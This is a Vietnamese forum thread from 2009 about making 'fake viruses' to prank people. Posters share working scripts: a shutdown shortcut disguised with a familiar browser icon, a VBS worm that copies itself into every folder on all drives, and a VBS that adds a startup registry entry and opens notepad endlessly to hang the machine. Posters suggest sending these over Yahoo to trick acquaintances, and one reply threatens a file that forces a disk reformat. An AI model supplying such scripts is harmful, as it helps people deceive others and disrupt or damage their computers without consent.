làm virut giả trêu người khác

Tiêu đề: làm virut giả trêu người khác Wed Jun 24, 2009 8:52 am

Mình vừa sưu tầm được mấy cái thủ thuật tạo virut giả hay phết nên đem ra chia sẻ cho anh em trêu mọi ngừoi:
1. tạo shorcut tự động tắt máy hay logoff hay restart:

cách này tạo một con virut giả để lừa những ai non tay trong IT.Con virut này khi kích vào sẽ hiện lên bảng thông báo như sau: "Máy tính bạn đã bị xâm nhập bởi tôi" rồi chi sau 10s,máy tính của nạn nhân sẽ tự động shutdown.
Cách làm:
Ngoài dekstop bạn tạo một shortcut mới bằng cách chọn New/Shortcut và gõ lệnh sau vào bảng vừa bật ra (nhớ gõ chính xác nhé)
shutdown.exe -s -t -c 60 "may tinh ban da bi xam nhap boi toi va se tu dong shutdown" .
chú ý các dấu cách nhé,trong đó 60 là thời gian mà bạn định để máy tính tự động shutdown.Để khó bị lộ và ngụy trang một cách hoàn hảo cho chú virut này bạn hãy thay icon cho nó thành một chương trình quen thuộc mà ai cũng thường xuyên sử dụng như fifox hoặc yah0o và đổi tên cho nó giống hệt chương trình nó. thế là mỗi khi muốn lướt web ngừoi ta lại ấn nhấm vào để tự động tắt máy. hichic.
cách cứu chữa:
mún phả giải chỉ cần Star -> Run -> cmd -> gỏ" shutdown -a"

2. tạo file đuôi vbs hiện mãi trên desktop mà ko tắt đi được:
cái này cũng để lừa những ai còn non kinh nghiệm ví dụ đi lừa mấy em xinh xắn mà mình quen trên yahoo. cái này có thể send qua yahoo được. và sau đó khi các em ân vào thì ôi thôi... máy em nhiễm virut rồi. hichic". và thế là em rối rít hỏi mình khi đó mình có dịp ra oai.
Crying or Very sad

cách làm:
mở notepad lên và gõ dòng lệnh:

text1=msgbox("máy bạn đã bị nhiễm virut perfect keylocker. hãy liên hệ quang56 để được trợ giúp",42,"warning. virut protected.")

trong đó bạn chỉ được thay đổi những chữ trong dấu ngoặc kép thôi. có thể viết gì cũng được. ví dụ là " bạn đã bị nhiễm virut anh yeu em." và gửi đến cho nàng thì thì ...chuyện gì sẽ xảy ra nhỉ?
bạn hãy copy dòng lệnh này thành nhiều dòng tiếp vì số lượng dòng lệnh này là số lần phải ấn ok. ^^. càng nhiều càng mỏi tay. có thẻ thay đổi nội dung qua từng giai đoạn bằng cách thay đổi chữ trong dấu ngoặc kép""
sau đó lưu file với đuôi vbs nhé. ví dụ là virut.vbs

cách chữa:
những ai ko non thì mở bấm ngay:
ctril + Alt + del để tắt chương trình
text1=msgbox("máy bạn đã bị nhiễm virut I Love You. hãy liên hệ NVT để được trợ giúp",42,"warning. virut protected

Tiêu đề: Re: làm virut giả trêu người khác Wed Jun 24, 2009 8:54 am

tiếp nè
Bạn vào Start => Run => gõ "NOTEPAD" sau đó nhấn Enter rồi chép đoạn này vào:

Trích dẫn :: 'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Rồi nhấn Ctrl + S => Save lại với tên là: Thuoc_Doc.vbs
nhớ đuôi phải là .VBS nha
chỉ cần chạy file này là "Tràn ngập Virus

Tiêu đề: Re: làm virut giả trêu người khác Wed Jun 24, 2009 8:55 am

đây mới hay
[/quote]'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub [quote]
cũng lưu lại như trên với tên : Thuoc_Giai.vbs
nhớ là vbs là đuôi chứ ko phải tên.

Tiêu đề: Re: làm virut giả trêu người khác Wed Jun 24, 2009 8:56 am

hàng độc.com nè
ai dính tắt máy ngay nhưng mà chỉ là virut giả

Trích dẫn :: On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop

Tiêu đề: Re: làm virut giả trêu người khác Wed Jun 24, 2009 8:58 am

Xin thông báo nghệ thuật tán gái đỉnh cao của dân công nghệ
[/quote] Làm dc cái này, khi vào win bạn sẽ nhận dc 1 thông báo và chỉ có nút ok,nếu ko ok thì ... ko logon dc hihi,rất hữu ích khi nghịch trên máy của bạn
Vào hộp Run nhé,gõ gpedit.msc

Tìm theo đường dẫn Computer Configuration --> Windows Settings --> Local Plicies --> Security Options
Tìm đến Interative logon: Message title ... Gõ vào đó tiêu đề của của sổ
Tìm đến Interative logon: Message text ... Gõ tiếp nội dung của thông báo(cái nì gõ có dấu dc)
Apply --> ok
Vậy là xong rồi đó
bạn có thể trêu người khác, vd như với Title:"You ơi!" và text là:"You có yêu tui ko,yêu thì ấn ok nhé!" Tất nhiên là họ ấn ok rùi,vì ko ấn thì logon làm sao dc hihi

Cách gỡ đi nhé: Làm giống các bước trên nhưng bước cuối các bạn xóa hết đi là dc,Đơn giản phải hok hihi!
Và thêm 1 điều nữa là,khi đã làm xong chỉ cần Logoff thôi,ko cần Restart đâu các U nhé
[quote]

Tiêu đề: Re: làm virut giả trêu người khác Wed Jun 24, 2009 9:00 am

cái khổ là làm sao ngồi vào máy của nàng mà không có mặt nàng ở đó ngồi vào đã khó
vắng mặt càng khó

Tiêu đề: Re: làm virut giả trêu người khác Wed Jun 24, 2009 11:32 pm

Đ !
Để hôm nào , anh gửi cho chú file gì đó , đảm bảo khi Đúp chuột vào , không cần Fomat lại ổ cưng một lần nữa !

Tiêu đề: Re: làm virut giả trêu người khác Thu Jun 25, 2009 7:55 am

anh là virut trêu người chứ không phải hại người chú nghịch thế anh sợ